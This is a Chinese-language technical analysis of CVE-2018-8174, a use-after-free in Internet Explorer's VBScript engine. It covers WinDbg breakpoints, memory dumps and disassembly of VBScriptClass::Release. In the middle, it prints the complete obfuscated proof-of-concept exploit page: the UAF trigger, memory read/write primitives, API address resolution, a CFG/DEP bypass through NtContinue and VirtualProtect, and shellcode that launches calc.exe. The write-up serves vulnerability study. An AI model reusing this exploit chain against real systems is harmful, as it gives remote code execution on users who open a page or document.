一、 前言
CVE-2018-8174漏洞在当时影响最新版本的IE浏览器以及使用了IE内核的应用程序。用户在浏览网页或者打开Office文档的时候都可能中招。该漏洞的核心就是UAF,也算是大家比较熟悉的一种漏洞,本次实验就是为了对该漏洞进行详细分析理解,并详细分析记录复现过程,供大家相互交流学习。
二、 实验目标
1 .漏洞实例简介
CVE-2018-8174是2018年4月份由360团队在一起APT攻击中捕获的0day,实际攻击样本中该漏洞结合CVE-2017-0199(一个关于office ole相关的逻辑漏洞)实现远程代码访问执行,360将该漏洞命名为“双杀”漏洞。该漏洞存在于VBsCript引擎中,VbsCript在释放相关对象时对引用计数问题处理不善,当我们构造特定的对象引用即有可能借助该漏洞实现释放内存空间的访问,即UAF利用。这次实验就是为了从漏洞本身入手,熟练掌握windbg的使用以及深入理解该漏洞的利用技巧并且对VBS虚拟机脚本解释机制进行一定程度的刺探。
2 逆向目标
本次实验的主要目的就是为了介绍UAF漏洞本身的成因,尝试浮现还原整个利用攻击过程以及最后的调试分析CVE-2018-8174漏洞的成因和POC代码的验证。
3 漏洞基本原理
在介绍漏洞的原理前我们先来通过一段C++代码制造的悬垂指针来理解一下UAF,代码如下:
在指针p1被释放后,却仍然可以执行已经被释放的内存,而且在 free 了 p1 之后再次申请同样大小空间,操作系统会将刚刚 free 了的内存重新分配。
并且可以通过p2操作p1,那么如果再次使用p1,则可以通过p2修改程序功能等目的。p1就叫做悬垂指针,UAF会造成内存破坏的原因就是使用了悬垂指针。
在理解了上面的悬垂指针后再看在vbs中的悬垂指针是怎样的,用一个根据原始 PoC 修改的造成悬垂指针的脚本来理解一下:
如上图,在UAF函数中,Set array_a(1)=New Trigger 是创建了一个 Trigger 实例给数组array_a,Erase array_a 在析构 array_a 中的元素时,会调用 Trigger 的重载的析构函数;在此函数中先增加了一个 array_b(0) 对 Trigger 实例的引用(Trigger实例引用计数+1),又通过 array_a(1)=1 删除 array_a(1) 对 Trigger 实例的引用,(Trigger的实例引用计数减1)来平衡引用计数后,才会彻底释放 Trigger 实例;但是此时 array_b(0) 仍然保留着这个类的引用,然后在 TriggerVuln 函数中,array_b(0)=0对 array_b(0) 进行访问时造成了触发漏洞,此时 array_b(0) 就叫做悬垂指针。
4 漏洞分析与验证的方法
对于漏洞的分析,是根据原始的POC仿造写了一个造成悬垂指针的脚本来进行分析,对于漏洞的验证则是通过仿写脚本的调试以及结合vbscript的IDA逆向分析的结合,最终产生一个浏览器崩溃的效果。
三、实验环境
1 工具
Windbg
2 环境
Win7、kali
四、 实验过程
1 漏洞复现
打开本地的CVE-2018-8174_PoC.html,可以发现触发了shellcode并且弹出了计算器:
2 逆向分析
漏洞的基本原理在上面已经讲过了,下面我们就直接用windbg进行调试。
先在windbg所在文件夹开启hpa页堆调试和ust栈回溯选项:
先不做任何断点来直接看一下IE的崩溃现场:
这表明访问了已经释放的内存导致奔溃,用!heap -p -a eax看一下:
可以看到对象所在的内存已经被释放了。
同时我们通过IDA逆向vbscript.dll看一下VBScriptClass::Release函数中的逻辑:
基本上每行有用的伪代码后面我都做了详细的注释,这里也就不细讲了,接下来直接用windbg进行漏洞的溯源。
首先给windbg中下断点:
bu vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bu vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bu vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";
bu vbscript!VbsIsEmpty
在按下g让程序运行以后,程序会断在我们脚本中设计的IsEmpty处:
我们可以看到Trigger对象创建在了61ff98的地方。
我们可以用dd命令看一下对象地址相对应的内容:
02指的就是引用计数,00469b8c存放的就是类的名字“Trigger”。下面是从网上找的VBscriptClass类结构图:
以上是通过在Create函数的地方下断点的方式来输出类的地址,下面就通过vbscript!VbsIsEmpty断点追溯到类的地址。
0:005> dd 61ff98
0061ff98 6dd41748 00000002 0061e6b0 0061d098
0061ffa8 00000850 00000000 00000000 01d4b41c
0061ffb8 00000000 00469b8c 00000000 00000000
0061ffc8 00000000 00000000 171305bb 0800218f
0061ffd8 01d4a428 00000001 111305bd 03002185
0061ffe8 00000000 00000000 00610038 00610038
0061fff8 00620000 00000000 000100ae 01000000
00620008 ffeeffee 00000001 fea000a8 fea000a8
0:005> dd poi(esp+c)
0061fe18 0000004a 000007ff 01d4b3f8 02000002 //01d4b3f8是数据结构地址
0061fe28 00610000 01d49828 00000001 00000000
0061fe38 0239cf68 0061fe58 01d489fc 00000001
0061fe48 00000000 00000141 00000148 01d48854
0061fe58 0239d1ac 0061fe98 00000001 00000000
0061fe68 0000400c 00000000 0061e548 00000000
0061fe78 0000400c 00000000 0061e508 00000000
0061fe88 00000000 0000000b 00000195 00000013
0:005> dd 1d4b3f8 l8
01d4b3f8 0000200c 000007ff 0046a4b0 02000002 //200c这两个字节表示的是VBScript变量类型,表示的是SAFEARRAY类型,ARRAY在046a4b0存放
01d4b408 00000000 00000000 3713059b 0c0121e1
0:005> dd 46a4b0
0046a4b0 08800001 00000010 00000000 004a5ba0//4a5ba0为array_a数据元素地址
+0x000 cDims : 1 //cDims表示维数
+0x002 fFeatures : 0x880
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 004a5ba0 Void //array_a数据元素地址
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
0046a4c0 00000002 00000000 2ad0008a 80000000
0046a4d0 6a6a0050 00000000 6a327be0 0046c390
0046a4e0 6a333ce0 00000000 00000000 00000000
0046a4f0 00000000 00000000 2ad0008c 80000000
0046a500 00000056 00000000 00000000 00000000
0046a510 00000000 00000000 00000000 00000000
0046a520 00000000 00000000 2ad000b6 80000000
0:005> dd 4a5ba0
004a5ba0 00000000 00000000 00000000 00000000 //array_a(0)没有定义
004a5bb0 00000009 00000132 0061ff98 00000001 //array_a(1)type==0x9表示是一个object,值为0061ff98,这也是我们通过create断点得到的值,即类对象的地址
004a5bc0 2ad1908b 88000000 00000000 0046a328
004a5bd0 004a5d38 004a5a68 00000000 00000000
004a5be0 00000000 00000000 2ad1908e 88000000
004a5bf0 00000000 6dd9aa60 004a5c98 004a5c48
004a5c00 00000000 00000000 00000000 00000000
004a5c10 2ad19071 88000000 00000000 0040497c
接下来就执行到了第二个断点,即析构函数中的ISEmpty的时候(在Erase array_a的时候,会触发Class_Terminate析构函数),此时Set array_b(0)=array_a(1)已执行:
Breakpoint 3 hit
eax=6dd4185c ebx=0239c938 ecx=6dd9a9d8 edx=0239c8b0 esi=01d4a574 edi=00000001
eip=6dd5c206 esp=0239c7cc ebp=0239c7dc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6dd5c206 8bff mov edi,edi
0:005> dd poi(esp+c)
0061fde8 01d4600c 0061ff10 0061e554 00433018 //data buffer在00433018
0061fdf8 00000000 00000132 0061ff98 00000001
0061fe08 0239cd24 0061fe38 00610001 0000002b
0061fe18 0000400c 000007ff 0061e508 02000002
0061fe28 00610000 01d49828 00000001 00000000
0061fe38 0239cf68 0061fe58 01d489fc 00000001
0061fe48 00000000 00000141 00000148 01d48854
0061fe58 0239d1ac 0061fe98 00000001 00000000
0:005> dd 433018 //safearray结构
00433018 08920001 00000010 00000000 004a5f88
00433028 00000002 00000000 2ad63fad 8a000000
00433038 00420056 00530020 00720063 00700069
00433048 00200074 0061004c 0067006e 00610075
00433058 00650067 00000000 2ad63fa7 88000000
00433068 6a6acaf0 00000001 6a327be0 0044fa28
00433078 6a2c4320 0044fa28 6a322028 00000001
00433088 00000005 00000000 2ad63fb9 88000000
0:005> dd 4a5f88
004a5f88 00000009 00000132 0061ff98 00000001 //类型还是0x09,array_b(0)中此时保存着类对象地址
004a5f98 00000000 00000000 00000000 00000000
004a5fa8 2ad19006 80000000 000001b0 00000000
004a5fb8 00000000 00000000 00000000 00000000
004a5fc8 00000000 00000000 2ad19009 80000000
004a5fd8 000001b5 00000000 00000004 00008a0c
004a5fe8 003c0090 003c0090 003c0038 003c0038
004a5ff8 2ad1900c 8000a000 000001ba 00000000
0:005> dd 61ff98 //类对象地址
0061ff98 6dd41748 00000004 0061e6b0 0061d098
0061ffa8 00000850 00000000 00000000 01d4b41c
0061ffb8 00000001 00469b8c 00000000 00000000
0061ffc8 00000000 00000000 171305bb 0800218f
0061ffd8 01d4a428 00000001 111305bd 03002185
0061ffe8 00000000 00000000 00610038 00610038
0061fff8 00620000 00000000 000100ae 01000000
00620008 ffeeffee 00000001 fea000a8 fea000a8
0:005> du 469b8c //类名称
00469b8c "Trigger"
再然后就是第三次断点,此时Erase已经执行完毕,可以看到已经到了漏洞点:
在上面我们可以发现显然有些地方出现了错误,明明 array_b 还保留着对 Trigger Object引用的时候,Trigger Object却随着 Erase array_a被释放了。我们来看看错误的地方:
在IDA里面查看过 VBScriptClass::Release的伪代码,以及上面的调试后,我们猜测在脚本中的重载的析构函数中,Set array_b(0)=array_a(1)这句是否有对Class Trigger的引用计数进行操作:
接下来通过windbg调试进行验证,首先在以下位置下断点:
bu vbscript!VbsErase
bu vbscript!VBScriptClass::Release
bu vbscript!VbsIsEmpty
bu vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g"
前面的几次 Release 不用看,一直到VbsErase后面的release的时候单步调试
(此时在调试日志中,类对象地址已经被bu vbscript!VBScriptClass::Create+0x55 “.printf \”Class %mu created at %x\n\”, poi(@esi + 0x24), @esi; g”; 打印出来了,或者运行到 release 的时候的esp +8也是类对象地址)
0:013> g
ModLoad: 6eb30000 6eb9b000 C:\Windows\system32\vbscript.dll
Class Trigger created at 412f58
Breakpoint 1 hit
eax=00412f58 ebx=0247cf90 ecx=6eb31748 edx=00000002 esi=00000000 edi=0041fe20
eip=6eb41ef3 esp=0247ce48 ebp=0247cf38 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VBScriptClass::Release:
6eb41ef3 8bff mov edi,edi
0:005> g
Breakpoint 1 hit
eax=00412f58 ebx=00000320 ecx=6eb31748 edx=00000000 esi=0214b3f8 edi=00000009
eip=6eb41ef3 esp=0247cdfc ebp=0247ce0c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!VBScriptClass::Release:
6eb41ef3 8bff mov edi,edi
0:005> g
Breakpoint 1 hit
eax=00412f58 ebx=00000320 ecx=6eb31748 edx=00000002 esi=0214b3f8 edi=00000009
eip=6eb41ef3 esp=0247d040 ebp=0247d050 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!VBScriptClass::Release:
6eb41ef3 8bff mov edi,edi
0:005> g
Breakpoint 2 hit
eax=6eb3185c ebx=0247d1d4 ecx=6eb8a9d8 edx=0247d14c esi=0214a574 edi=00000001
eip=6eb4c206 esp=0247d068 ebp=0247d078 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6eb4c206 8bff mov edi,edi
0:005> g
Breakpoint 1 hit
eax=00412f58 ebx=00000020 ecx=6eb31748 edx=00000000 esi=001dde30 edi=00000009
eip=6eb41ef3 esp=0247cfb0 ebp=0247cfc0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!VBScriptClass::Release:
6eb41ef3 8bff mov edi,edi
0:005> g
Breakpoint 0 hit
eax=6eb3185c ebx=0247d1d4 ecx=6eb8a5bc edx=0247d14c esi=0214a5d4 edi=00000001
eip=6eb82628 esp=0247d068 ebp=0247d078 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsErase:
6eb82628 8bff mov edi,edi
0:005> g
Breakpoint 1 hit
eax=00412f58 ebx=00000020 ecx=6eb31748 edx=00000000 esi=001ddde0 edi=00000009
eip=6eb41ef3 esp=0247cfcc ebp=0247cfdc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!VBScriptClass::Release:
6eb41ef3 8bff mov edi,edi
0:005> dd 412f58
00412f58 6eb31748 00000001 0041d1c0 0041e1c8 //此时的引用计数是1,this指针指向0x30大小的Trigger对象结构
00412f68 0000087c 00000000 00000000 0041d3e4
00412f78 00000000 00188034 00000000 00000000
00412f88 0a7a72ca 00001341 0041df30 004100c4
00412f98 4e7b738e 0a001344 0041302c 0041306a
00412fa8 004130b4 00413116 00413150 00413198
00412fb8 004131c0 004131da 00413202 00413252
00412fc8 0041328e 004132bc 004132d8 00413450
再然后单步调试到:
b41efc 56 push esi
6eb41efd 8b35e412b36e mov esi,dword ptr [vbscript!_imp__InterlockedDecrement (6eb312e4)]
6eb41f03 57 push edi //edi中保存的便是object的引用计数
6eb41f04 8d7b04 lea edi,[ebx+4]
6eb41f07 57 push edi
6eb41f08 ffd6 call esi
6eb41f0a 894508 mov dword ptr [ebp+8],eax
6eb41f0d 85c0 test eax,eax //判断引用计数是否为零
6eb41f0f 0f84d8210000 je vbscript!VBScriptClass::Release+0x1e (6eb440ed) //为零则进入Release+0x1e,调用析构函数
6eb41f15 8b4508 mov eax,dword ptr [ebp+8]
6eb41f18 5f pop edi
之后的调试:
6eb440ed 57 push edi
6eb440ee ff15e812b36e call dword ptr [vbscript!_imp__InterlockedIncrement (6eb312e8)]
6eb440f4 8bcb mov ecx,ebx
6eb440f6 e829000000 call vbscript!VBScriptClass::TerminateClass (6eb44124) //在进入TerminateClass前引用计数为1
6eb440fb 57 push edi //在进入TerminateClass后引用计数还是为1
6eb440fc ffd6 call esi
6eb440fe 894508 mov dword ptr [ebp+8],eax
6eb44101 85c0 test eax,eax
6eb44103 0f850cdeffff jne vbscript!VBScriptClass::Release+0x43 (6eb41f15)
6eb44109 85db test ebx,ebx
6eb4410b 0f8404deffff je vbscript!VBScriptClass::Release+0x43 (6eb41f15)
问题就出现在它没有因为Set array_b(0)=array_a(1),而增加类对象的引用计数,造成了在类对象被释放后array_b(0)仍然指向那个类对象地址,而造成了悬垂指针。
最终看来,此漏洞就是存在于release 函数中,如果在自定义的脚本中重载了析构函数,在这个函数中操作了类的引用计数(UAF),而release函数不能正确的判断类的引用计数造成而去析构了这个类,但是仍然指向这个类的指针就变成了悬垂指针,后面通过这个悬垂指针进行一些操作来达到任意读写的目的。
3 POC代码及验证
在这里先把原始POC放出来:
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
</head>
<body>
<script language="vbscript">
Dim lIIl
Dim IIIlI(6),IllII(6)
Dim IllI
Dim IIllI(40)
Dim lIlIIl,lIIIll
Dim IlII
Dim llll,IIIIl
Dim llllIl,IlIIII
Dim NtContinueAddr,VirtualProtectAddr
IlII=195948557
lIlIIl=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
lIIIll=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
IllI=195890093
Function IIIII(Domain)
lIlII=0
IllllI=0
IIlIIl=0
Id=CLng(Rnd*1000000)
lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
lIlII=lIlII-(&h86d+6447-&H219b)
End If
IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII
End Function
Function lIIII(ByVal lIlIl)
IIll=""
For index=0 To Len(lIlIl)-1
IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
Next
IIll=IIll &"00"
If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
IIll=IIll &"00"
End If
For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
lIIII=lIIII &"%u" &lIlIll &lIIIlI
Next
End Function
Function lIlI(ByVal Number,ByVal Length)
IIII=Hex(Number)
If Len(IIII)<Length Then
IIII=String(Length-Len(IIII),"0") &IIII 'pad allign with zeros
Else
IIII=Right(IIII,Length)
End If
lIlI=IIII
End Function
Function GetUint32(lIII)
Dim value
llll.mem(IlII+8)=lIII+4
llll.mem(IlII)=8 'type string
value=llll.P0123456789
llll.mem(IlII)=2
GetUint32=value
End Function
Function IllIIl(lIII)
IllIIl=GetUint32(lIII) And (131071-65536)
End Function
Function lllII(lIII)
lllII=GetUint32(lIII) And (&h17eb+1312-&H1c0c)
End Function
Sub llllll
End Sub
Function GetMemValue
llll.mem(IlII)=(&h713+3616-&H1530)
GetMemValue=llll.mem(IlII+(&h169c+712-&H195c))
End Function
Sub SetMemValue(ByRef IlIIIl)
llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl
End Sub
Function LeakVBAddr
On Error Resume Next
Dim lllll
lllll=llllll
lllll=null
SetMemValue lllll
LeakVBAddr=GetMemValue()
End Function
Function GetBaseByDOSmodeSearch(IllIll)
Dim llIl
llIl=IllIll And &hffff0000
Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692
llIl=llIl-65536
Loop
GetBaseByDOSmodeSearch=llIl
End Function
Function StrCompWrapper(lIII,llIlIl)
Dim lIIlI,IIIl
lIIlI=""
For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
Next
StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
End Function
Function GetBaseFromImport(base_address,name_input)
Dim import_rva,nt_header,descriptor,import_dir
Dim IIIIII
nt_header=GetUint32(base_address+(&h3c))
import_rva=GetUint32(base_address+nt_header+&h80)
import_dir=base_address+import_rva
descriptor=0
Do While True
Dim Name
Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
If Name=0 Then
GetBaseFromImport=&hBAAD0000
Exit Function
Else
If StrCompWrapper(base_address+Name,name_input)=0 Then
Exit Do
End If
End If
descriptor=descriptor+1
Loop
IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
End Function
Function GetProcAddr(dll_base,name)
Dim p,export_dir,index
Dim function_rvas,function_names,function_ordin
Dim Illlll
p=GetUint32(dll_base+&h3c)
p=GetUint32(dll_base+p+&h78)
export_dir=dll_base+p
function_rvas=dll_base+GetUint32(export_dir+&h1c)
function_names=dll_base+GetUint32(export_dir+&h20)
function_ordin=dll_base+GetUint32(export_dir+&h24)
index=0
Do While True
Dim lllI
lllI=GetUint32(function_names+index*4)
If StrCompWrapper(dll_base+lllI,name)=0 Then
Exit Do
End If
index=index+1
Loop
Illlll=IllIIl(function_ordin+index*2)
p=GetUint32(function_rvas+Illlll*4)
GetProcAddr=dll_base+p
End Function
Function GetShellcode()
IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" &lIIII(IIIII("")))
IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
GetShellcode=IIlI
End Function
Function EscapeAddress(ByVal value)
Dim High,Low
High=lIlI((value And &hffff0000)/&h10000,4)
Low=lIlI(value And &hffff,4)
EscapeAddress=Unescape("%u" &Low &"%u" &High)
End Function
Function lIllIl
Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
IlllI=lIlI(NtContinueAddr,8)
IlIII=Mid(IlllI,1,2)
llllI=Mid(IlllI,3,2)
llIII=Mid(IlllI,5,2)
lIllI=Mid(IlllI,7,2)
IIlI=""
IIlI=IIlI &"%u0000%u" &lIllI &"00"
For IIIl=1 To 3
IIlI=IIlI &"%u" &llllI &llIII
IIlI=IIlI &"%u" &lIllI &IlIII
Next
IIlI=IIlI &"%u" &llllI &llIII
IIlI=IIlI &"%u00" &IlIII
lIllIl=Unescape(IIlI)
End Function
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
Dim IIlI
IIlI=String((100334-65536),Unescape("%u4141"))
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
IIlI=IIlI &EscapeAddress(&h3000)
IIlI=IIlI &EscapeAddress(&h40)
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
IIlI=IIlI &String(6,Unescape("%u4242"))
IIlI=IIlI &lIllIl()
IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
WrapShellcodeWithNtContinueContext=IIlI
End Function
Function ExpandWithVirtualProtect(lIlll)
Dim IIlI
Dim lllllI
lllllI=lIlll+&h23
IIlI=""
IIlI=IIlI &EscapeAddress(lllllI)
IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape("%4141"))
IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
IIlI=IIlI &EscapeAddress(&h1b)
IIlI=IIlI &EscapeAddress(0)
IIlI=IIlI &EscapeAddress(lIlll)
IIlI=IIlI &EscapeAddress(&h23)
IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape("%u4343"))
ExpandWithVirtualProtect=IIlI
End Function
Sub ExecuteShellcode
llll.mem(IlII)=&h4d 'DEP bypass
llll.mem(IlII+8)=0
msgbox(IlII) 'VT replaced
End Sub
Class cla1
Private Sub Class_Terminate()
Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8))
IllI=IllI+(&h14b5+2725-&H1f59)
lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)
End Sub
End Class
Class cla2
Private Sub Class_Terminate()
Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a))
IllI=IllI+(&h880+542-&Ha9d)
lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857)
End Sub
End Class
Class IIIlIl
End Class
Class llIIl
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value
SetProp=0
End Function
End Class
Class IIIlll
Dim mem
Function P0123456789
P0123456789=LenB(mem(IlII+8))
End Function
Function SPP
End Function
End Class
Class lllIIl
Public Default Property Get P
Dim llII
P=174088534690791e-324
For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c)
IIIlI(IIIl)=(&h2176+711-&H243d)
Next
Set llII=New IIIlll
llII.mem=lIlIIl
For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c)
Set IIIlI(IIIl)=llII
Next
End Property
End Class
Class llllII
Public Default Property Get P
Dim llII
P=636598737289582e-328
For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)
IllII(IIIl)=(&h442+2598-&He68)
Next
Set llII=New IIIlll
llII.mem=lIIIll
For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)
Set IllII(IIIl)=llII
Next
End Property
End Class
Set llllIl=New lllIIl
Set IlIIII=New llllII
Sub UAF
For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
Set IIllI(IIIl)=New IIIlIl
Next
For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
Set IIllI(IIIl)=New llIIl
Next
IllI=0
For IIIl=0 To 6
ReDim lIIl(1)
Set lIIl(1)=New cla1
Erase lIIl
Next
Set llll=New llIIl
IllI=0
For IIIl=0 To 6
ReDim lIIl(1)
Set lIIl(1)=New cla2
Erase lIIl
Next
Set IIIIl=New llIIl
End Sub
Sub InitObjects
llll.SetProp(llllIl)
IIIIl.SetProp(IlIIII)
IlII=IIIIl.mem
End Sub
Sub StartExploit
UAF
InitObjects
vb_adrr=LeakVBAddr()
vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
SetMemValue GetShellcode()
ShellcodeAddr=GetMemValue()+8
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
lIlll=GetMemValue()+69596
SetMemValue ExpandWithVirtualProtect(lIlll)
llIIll=GetMemValue()
Alert "Executing Shellcode"
ExecuteShellcode
End Sub
StartExploit
</script>
</body>
</html>
可以看到原始的POC在变量名和数据计算中存在大量的混淆,下面我们会对比较关键的函数进行还原。
首先就是分析PoC中的UAF函数:
'申请空间,占位
Sub UAF
Alert "UAF"
For i=0 To 19
Set array(i)=New Foo '占据系统堆碎片
Next
For i=20 To 39
Set array(i)=New cla4 '占据系统堆碎片
Next
spec_int_2=0
For i=0 To 6
ReDim array_a(1)
Set array_a(1)=New Trigger
Erase array_a 'array_b保存了对已经释放的Trigger obj的引用
Next
IsEmpty(array_b) '引用计数为0时为什么没有调用release 完全释放类对象
Set cla4_obj1=New cla4 '同时 cla4_obj1 对它占位
IsEmpty(cla4_obj1)
spec_int_2=0
For i=0 To 6
ReDim array_a(1)
Set array_a(1)=New cla2 'array_c保存了对已经释放的 cla2 obj 的引用
Erase array_a
Next
IsEmpty(array_c)
Set cla4_obj2=New cla4 '同时 cla4_obj2 对它占位
IsEmpty(cla4_obj2)
End Sub
第一次的IsEmpty断点,参数为array_b:
Breakpoint 0 hit
eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001
eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6dd5c206 8bff mov edi,edi
0:005> dd poi(esp+c)
0049ec10 0000600c 00000000 01d811e8 002e1ef0 //2e1efo是array_b的data buffer
0049ec20 02570002 0049df00 00490013 0257cea8
0049ec30 02570002 0049df00 00490001 0257cea8
0049ec40 6dd40002 0257cee4 02570027 0049df00
0049ec50 6dd40002 0257cee4 02570001 0049df00
0049ec60 6dd40002 0257cee4 02570006 0049df00
0049ec70 6dd40002 0257cee4 02570001 0049df00
0049ec80 00000000 00000000 00000000 00000000
0:005> dd 2e1ef0
002e1ef0 08920001 00000010 00000000 0031b348 // 0031b348是array_b数据元素地址
002e1f00 00000007 00000000 1f784f23 88000000
002e1f10 67ef2010 00000003 00000008 00000000
002e1f20 00000000 002d8f40 00000052 80006200
002e1f30 00000004 002c1b30 1f784f25 8800f812
002e1f40 73a8c9c4 00000001 002ba2d0 ffffffff
002e1f50 00000000 00000000 00000000 00000000
002e1f60 02000001 73a8bec4 1f784f2f 80000848
0:005> dd 31b348
0031b348 00000009 00000000 01d82388 00000000 //01d82388是类对象地址
0031b358 6dd40009 01d8238c 01d82388 6dd44211
0031b368 6dd40009 01d8238c 01d82388 6dd44211
0031b378 6dd40009 01d8238c 01d82388 6dd44211
0031b388 6dd40009 01d8238c 01d82388 6dd44211
0031b398 6dd40009 01d8238c 01d82388 6dd44211
0031b3a8 6dd40009 01d8238c 01d82388 6dd44211
0031b3b8 1f7bbbb5 88000000 00000000 00000000
0:005> dd 1d82388
01d82388 6dd400c6 00000000 00000000 00000000 //引用计数为0
01d82398 000001a8 00000000 00000000 01d5b7ac
01d823a8 00000001 002ba02c 00000000 00000000
01d823b8 1f487ea5 80000000 000000cd 00000000
01d823c8 00000000 00000000 00000000 00000000
01d823d8 00000000 00000000 00000000 00000000
01d823e8 00000000 00000000 1f487eac 80000000
